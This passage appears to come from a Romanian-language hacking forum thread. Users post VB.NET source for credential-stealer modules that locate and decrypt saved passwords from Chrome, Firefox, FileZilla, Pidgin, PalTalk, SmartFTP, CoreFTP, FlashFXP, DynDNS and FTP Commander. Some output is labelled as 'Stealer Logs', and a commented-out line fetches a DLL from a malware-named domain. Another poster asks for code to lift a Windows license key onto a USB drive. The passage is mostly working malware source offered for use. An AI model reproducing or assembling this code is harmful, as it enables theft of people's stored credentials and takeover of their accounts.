            reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
            Dim users As String() = reg.GetSubKeyNames()
            reg.Close()
            For Each s As String In users
                Dim t, o, i, x As Integer
                Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
                Dim chr1 As Char() = pass.ToCharArray
                Dim passarr(pass.Length / 4) As String
                While t <= UBound(chr1) - 4
                    If t < UBound(chr1) - 4 Then
                        passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
                    End If
                    t += 4
                    o += 1
                End While
                Dim key As String = ""
                For Each c As Char In s
                    key += c
                    If i <= UBound(ser) Then
                        key += ser(i)
                    End If
                    i = i + 1
                Next
                key = key & key & key
                Dim chr_arr As Char() = key.ToCharArray
                Dim blainpass As String = ""
                blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
                For x = 1 To UBound(passarr)
                    Dim tempchr As Char
                    If passarr(x) Is Nothing Then
                    Else
                        tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
                        blainpass += tempchr
                    End If
                Next x

                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============PalTalk==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & s)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & blainpass)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Next
            Return out
        Catch ex As Exception
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============PalTalk==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("PalTalk Not Installed!")
            Form1.ztext.AppendText(nl)
            Return "---"
        End Try
    End Function
End Module

13. Pidgin

Option Explicit On
Imports System.IO
Imports System.Xml
Module Pidgin

    Public Function GetPidgin() As String
        Dim ReadXML As New XmlDocument
        Dim i As Integer
        Dim OutAll = Nothing
        GetPidgin = ""
        Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml"
        If File.Exists(FilePath) <> True Then
            Exit Function
        Else
            Try
                ReadXML.Load(FilePath)
                Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol")
                Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name")
                Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password")
                For i = 0 To Protocol.Count - 1
                    OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _
                  & "Username: " & Username(i).InnerText & vbCrLf _
                    & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine
                Next
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & Username(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & Password(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Pidgin Not Installed!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End Try
        End If
    End Function
End Module

14.SmartFTP

Module SmartFTP
    Function SmartFTP() As String
        Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
        Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
        Dim sUser As String = Cut(sFile, "<User>", "</User>")
        Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
        Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")

        If Not sUser = "" Then
            Try
                SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============SmartFTP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============SmartFTP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
    Function ReadFile(ByVal sFile As String) As String
        On Error Resume Next
        Dim OpenFile As New System.IO.StreamReader(sFile)
        ReadFile = OpenFile.ReadToEnd.ToString
    End Function
    Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
        On Error Resume Next
        Dim c() As String
        Dim c2() As String
        c = Split(sInhalt, sText)
        c2 = Split(c(1), stext2)
        Cut = c2(0)
    End Function
    Function RegRead(ByVal hKey As String) As String
        Dim wshShell As Object = CreateObject("WScript.Shell")
        On Error Resume Next
        RegRead = wshShell.RegRead(hKey)
    End Function
    Public Function ReadLine(ByVal filename As String, _
    ByVal line As Integer) As String
        Try
            Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
              filename, System.Text.Encoding.Default).Split(vbCrLf)
            If line > 0 Then
                Return lines(line - 1)
            ElseIf line < 0 Then
                Return lines(lines.Length + line - 1)
            Else
                Return ""
            End If
        Catch ex As Exception
            Return ""
        End Try
    End Function
End Module

Edited by sandabot
LLegoLLaS Rookie

LLegoLLaS

Posted
Posted (edited)

as vrea o sursa asemantoare care sa copieze license-key-ul din windows 7 si s-o salveze intr-un text,in aceeasi locate cu a exe-ului (usb) :D

am nevoie doar de algoritmul care citeste cheia criptata in registry si o decripteasa (este reversable).Restul ma descurc.Sau care e algoritmul de decriptare?

Edited by LLegoLLaS
fimoza85 Newbie

fimoza85

Posted
Posted
1.Chrome

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports stub.SQLiteWrapper

Public Class Chromer
    Public Shared cPass As String
    Public Shared Function GetChrome()
        'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL")
        Try
            Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
            If File.Exists(datapath) Then
                Dim SQLconnect As New SqlClient.SqlConnection()
                Dim SQLcommand As SqlClient.SqlCommand
                SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
                SQLconnect.Open()
                SQLcommand = SQLconnect.CreateCommand
                SQLcommand.CommandText = "SELECT * FROM logins"
                Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
                Dim host, user, pass As String
                While SQLreader.Read()
                    host = SQLreader("origin_url")
                    user = SQLreader("username_value")
                    pass = Decrypt(SQLreader("password_value"))
                    If (user <> "") And (pass <> "") Then
                        Dim pss As New ListViewItem
                        pss.Text = host
                        cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
                        & vbNewLine & " ")
                    End If
                End While
                SQLcommand.Dispose()
                SQLconnect.Close()
            End If
        Catch e As Exception
            MsgBox(e.ToString)
        End Try
    End Function
    <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
    Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
    End Function
    <Flags()> Enum CryptProtectPromptFlags
        CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
        CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
    End Enum
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As CryptProtectPromptFlags
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    Shared Function Decrypt(ByVal Datas() As Byte) As String
        Dim inj, Ors As New DATA_BLOB
        Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
        inj.pbData = Ghandle.AddrOfPinnedObject()
        inj.cbData = Datas.Length
        Ghandle.Free()
        CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
        Dim Returned() As Byte = New Byte(Ors.cbData) {}
        Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
        Dim TheString As String = Encoding.Default.GetString(Returned)
        Return TheString.Substring(0, TheString.Length - 1)
    End Function
End Class

2.CoreFTP

Module CoreFTP
    Function CoreFTP() As String
        Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
        Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
        Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
        Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
        Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")

        If Not sUser = "" Then
            Try
                CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
End Module

3.DynDNS

Module Dyndns
    Public Function GoogleDns() As String
        On Error Resume Next
        GoogleDns = Nothing

        Dim sAppData As String
        Dim sPath As String
        Dim sLine As String
        Dim sUser As String = Nothing
        Dim sPassword As String = Nothing
        Dim i As Integer
        Dim sChars As String = Nothing
        Dim lPtr As Integer

        sAppData = Environ("ALLUSERSPROFILE")

        If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

        sPath = sAppData & "DynDNS\Updater\config.dyndns"

        'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
        If Dir(sPath) <> "" Then
            FileOpen(1, sPath, OpenMode.Binary)
            Do While Not EOF(1)
                sLine = vbNullString
                sLine = LineInput(1)
                If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
                If Left(sLine, 9) = "Password=" Then
                    sPassword = Mid(sLine, 10)
                    'We have what we want, now exit do
                    Exit Do
                End If
            Loop
            FileClose(1)

            For i = 1 To Len(sPassword) Step 2
                sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
            Next i

            For i = 1 To Len(sChars)
                Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
                lPtr = ((lPtr + 1) Mod 8)
            Next i
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============DYNDNS==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & sUser)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & sChars)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
            If sUser = "" Or sChars = "" Then
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============DYNDNS==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End If
        End If
    End Function
End Module

4.FireFox 1

Imports System
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Data
Imports FireFox.SQLiteWrapper
Imports System.Text
Module FFDecryptor

    Public Class SHITEMID
        Public Shared cb As Long
        Public Shared abID As Byte()
    End Class
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure TSECItem
        Public SECItemType As Integer
        Public SECItemData As Integer
        Public SECItemLen As Integer
    End Structure

    <DllImport("kernel32.dll")> _
    Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
    End Function
    Private NSS3 As IntPtr
    <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
    Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
    Public Function NSS_Init(ByVal configdir As String) As Long
        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
        LoadLibrary(MozillaPath & "mozcrt19.dll")
        LoadLibrary(MozillaPath & "nspr4.dll")
        LoadLibrary(MozillaPath & "plc4.dll")
        LoadLibrary(MozillaPath & "plds4.dll")
        LoadLibrary(MozillaPath & "ssutil3.dll")
        LoadLibrary(MozillaPath & "sqlite3.dll")
        LoadLibrary(MozillaPath & "nssutil3.dll")
        LoadLibrary(MozillaPath & "softokn3.dll")
        NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
        Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
        Return dll(configdir)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate2() As Long
    Public Function PK11_GetInternalKeySlot() As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
        Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
        Return dll()
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
    Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
        Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
        Return dll(slot, loadCerts, wincx)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
    Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
        Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
        Return dll(arenaOpt, outItemOpt, inStr, inLen)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
    Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
        Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
        Return dll(data, result, cx)
    End Function
    Public signon As String
End Module

5.FireFox 2

Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Data
Imports System.Collections

Namespace SQLiteWrapper
    Public Class SQLiteBase
        <DllImport("kernel32")> _
        Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
        End Function

        <DllImport("kernel32")> _
        Private Shared Function GetProcessHeap() As IntPtr
        End Function

        <DllImport("kernel32")> _
        Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
        End Function
        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
        End Function

        ' SQLite constants
        Private Const SQL_OK As Integer = 0
        Private Const SQL_ROW As Integer = 100
        Private Const SQL_DONE As Integer = 101
        Public Enum SQLiteDataTypes
            INT = 1
            FLOAT
            TEXT
            BLOB
            NULL
        End Enum
        Private database As IntPtr
        Public Sub New()
            database = IntPtr.Zero
        End Sub
        Public Sub New(ByVal baseName As [String])
            OpenDatabase(baseName)
        End Sub
        Public Sub OpenDatabase(ByVal baseName As [String])
            If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
                database = IntPtr.Zero
                Throw New Exception("Error with opening database " & baseName & "!")
            End If
        End Sub
        Public Sub CloseDatabase()
            If database <> IntPtr.Zero Then
                sqlite3_close(database)
            End If
        End Sub
        Public Function GetTables() As ArrayList
            Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
            Dim table As DataTable = ExecuteQuery(query)
            Dim list As New ArrayList()
            For Each row As DataRow In table.Rows
                list.Add(row.ItemArray(0).ToString())
            Next
            Return list
        End Function
        Public Sub ExecuteNonQuery(ByVal query As [String])
            Dim [error] As IntPtr
            sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
            If [error] <> IntPtr.Zero Then
                Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error])))
            End If
        End Sub
        Public Function ExecuteQuery(ByVal query As [String]) As DataTable
            Dim statement As IntPtr
            Dim excessData As IntPtr
            sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
            Dim table As New DataTable()
            Dim result As Integer = ReadFirstRow(statement, table)
            While result = SQL_ROW
                result = ReadNextRow(statement, table)
            End While
            sqlite3_finalize(statement)
            Return table
        End Function
        Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
            table = New DataTable("resultTable")
            Dim resultType As Integer = sqlite3_step(statement)
            If resultType = SQL_ROW Then
                Dim columnCount As Integer = sqlite3_column_count(statement)
                Dim columnName As [String] = ""
                Dim columnType As Integer = 0
                Dim columnValues As Object() = New Object(columnCount - 1) {}
                For i As Integer = 0 To columnCount - 1
                    columnName = PointerToString(sqlite3_column_name(statement, i))
                    columnType = sqlite3_column_type(statement, i)
                    Select Case columnType
                        Case CInt(SQLiteDataTypes.INT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
                                columnValues(i) = sqlite3_column_int(statement, i)
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.FLOAT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.Single"))
                                columnValues(i) = sqlite3_column_double(statement, i)
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.TEXT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.BLOB)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
                                Exit Select
                            End If
                        Case Else
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = ""
                                Exit Select
                            End If
                    End Select
                Next
                table.Rows.Add(columnValues)
            End If
            Return sqlite3_step(statement)
        End Function
        Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
            Dim columnCount As Integer = sqlite3_column_count(statement)

            Dim columnType As Integer = 0
            Dim columnValues As Object() = New Object(columnCount - 1) {}

            For i As Integer = 0 To columnCount - 1
                columnType = sqlite3_column_type(statement, i)

                Select Case columnType
                    Case CInt(SQLiteDataTypes.INT)
                        If True Then
                            columnValues(i) = sqlite3_column_int(statement, i)
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.FLOAT)
                        If True Then
                            columnValues(i) = sqlite3_column_double(statement, i)
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.TEXT)
                        If True Then
                            columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.BLOB)
                        If True Then
                            columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
                            Exit Select
                        End If
                    Case Else
                        If True Then
                            columnValues(i) = ""
                            Exit Select
                        End If
                End Select
            Next
            table.Rows.Add(columnValues)
            Return sqlite3_step(statement)
        End Function
        Private Function StringToPointer(ByVal str As [String]) As IntPtr
            If str Is Nothing Then
                Return IntPtr.Zero
            Else
                Dim encoding__1 As Encoding = Encoding.UTF8
                Dim bytes As [Byte]() = encoding__1.GetBytes(str)
                Dim length As UInteger = bytes.Length + 1
                Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
                Marshal.Copy(bytes, 0, pointer, bytes.Length)
                Marshal.WriteByte(pointer, bytes.Length, 0)
                Return pointer
            End If
        End Function
        Private Function PointerToString(ByVal ptr As IntPtr) As [String]
            If ptr = IntPtr.Zero Then
                Return Nothing
            End If

            Dim encoding__1 As Encoding = Encoding.UTF8

            Dim length As Integer = GetPointerLenght(ptr)
            Dim bytes As [Byte]() = New [Byte](length - 1) {}
            Marshal.Copy(ptr, bytes, 0, length)
            Return encoding__1.GetString(bytes, 0, length)
        End Function
        Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
            If ptr = IntPtr.Zero Then
                Return 0
            End If
            Return lstrlen(ptr)
        End Function
    End Class
End Namespace

6. FileZilla

Module Filezilla
    Function ShoitZilla() As String
        On Error Resume Next
        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
        Dim FileBuffer As String = vbNull
        Dim NL As String = vbNewLine
        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
        Dim str As String
        Dim Output As String = Nothing
        Dim TempData() As String
        TempData = FileBuffer.Split(vbCrLf)
        FileBuffer = Nothing
        For Each str In TempData
            If str.Contains("</Host>") Then
                str.Replace("<Host>", "").Replace("</Host>", "")
                Output = Output & "Host : " & str & NL
            End If
            If str.Contains("</User>") Then
                str.Replace("<User>", "").Replace("</User>", "")
                Output = Output & "Username : " & str & NL
            End If
            If str.Contains("</Pass>") Then
                str.Replace("<Pass>", "").Replace("</Pass>", "")
                Output = Output & "Password : " & str & NL & NL
            End If
        Next
        Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine
        ShoitZilla = Output
        Form1.ztext.AppendText(Output)
    End Function
End Module

7.FlashFXP

Module FlashFXP
    Function FlashFXP() As String
        Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
        Dim sPort As String = Cut(sFile, "port=", vbNewLine)
        Dim sUser As String = Cut(sFile, "user=", vbNewLine)
        Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
        Dim sEntry As String = Cut(sFile, "created=", vbNewLine)

        If Not sUser = "" Then
            Try
                FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============FlashFXP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============FlashFXP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
End Module

8.FtpCommander

Module FTPCommander
    Function FtpCommander() As String
        Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
        Dim sFile As String = ReadLine(sPath, -1)
        Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
        Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
        Dim sUser As String = Cut(sFile, ";User=", ";*********=")
        Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
        Dim sEntry As String = Cut(sFile, "Name=", ";Server=")

        If Not sUser = "" Then
            Try
